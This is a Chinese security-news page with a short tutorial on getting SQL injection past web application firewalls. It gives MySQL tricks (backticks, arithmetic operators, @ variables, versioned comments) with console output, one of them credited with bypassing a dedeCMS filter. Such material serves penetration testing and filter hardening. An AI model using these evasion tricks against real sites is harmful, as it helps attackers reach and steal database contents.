当前位置:主页>产 业>业界新闻>

简述WAF绕过的几个方法技巧

本文中,笔者与大家分享了几个WAF绕过的技巧。对于一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。

Mysql:

tips1: 神奇的 ` (格式输出表的那个控制符)

过空格 过一些正则。

mysql> select`version`()

-> ;

+----------------------+

| `version`() |

+----------------------+

| 5.1.50-community-log |

+----------------------+

1 row in set (0.00 sec)

一个更好玩的技巧,这个` 控制符可以当注释符用(限定条件)。

mysql> select id from qs_admins where id=1;`dfff and comment it;

+----+

| id |

+----+

| 1 |

+----+

1 row in set (0.00 sec)

`>usage : where id =’0′`’xxxxcomment on.

tips2:神奇的“- + .”:

mysql> select id from qs_admins;

+----+

| id |

+----+

| 1 |

+----+

1 row in set (0.00 sec)

mysql> select+id-1+1.from qs_admins;

+----------+

| +id-1+1. |

+----------+

| 1 |

+----------+

1 row in set (0.00 sec)

mysql> select-id-1+3.from qs_admins;

+----------+

| -id-1+3. |

+----------+

| 1 |

+----------+

1 row in set (0.00 sec)

(有些人不是一直在说关键字怎么过?过滤一个from … 就是这样连起来过)

tips3: @

mysql> select@^1.from qs_admins;

+------+

| @^1. |

+------+

| NULL |

+------+

这个是bypass 曾经dedeCMS filter。

或者下面这样也是可以的:

tips4:mysql function() as xxx 也可以不用as 和空格

mysql> select-count(id)test from qs_admins;

+------+

| test |

+------+

| -1 |

+------+

1 row in set (0.00 sec)

tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)

mysql> /*!40000select*/ id from qs_admins;

(责任编辑:)

分享到:

更多
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 微笑/wx
  • 撇嘴/pz
  • 抓狂/zk
  • 流汗/lh
  • 大兵/db
  • 奋斗/fd
  • 疑问/yw
  • 晕/y
  • 偷笑/wx
  • 可爱/ka
  • 傲慢/am
  • 惊恐/jk
用户名: 验证码:点击我更换图片
资料下载专区
图文资讯

中国重启银行业安全新规 下月征集意见

中国重启银行业安全新规 下月征集意见

8月19日,路透社今日援引知情人士的消息称,中国将重启银行业安全新规。在此之前,该...[详细]

网络安全准则还需“下一步”

网络安全准则还需“下一步”

近日,联合国信息安全问题政府专家组召开会议,并向联合国秘书长提交报告。专家组包括...[详细]

用大数据为互联网金融保驾护航

用大数据为互联网金融保驾护航

近日,在2015上海新金融年会暨外滩互联网金融外滩峰会上,中国人民银行条法司司长张涛...[详细]

互联网深刻变革:世界正向黑客帝国演进

互联网深刻变革:世界正向黑客帝国演进

2015年中国互联网大会于7月23日在北京国家会议中心闭幕了,很显然,由于去年办过一次...[详细]

《网络安全法》有望在三季度出台

《网络安全法》有望在三季度出台

2015年,第十二届全国人大常委会第十五次会议初次审议了《中华人民共和国网络安全法(...[详细]

返回首页 返回顶部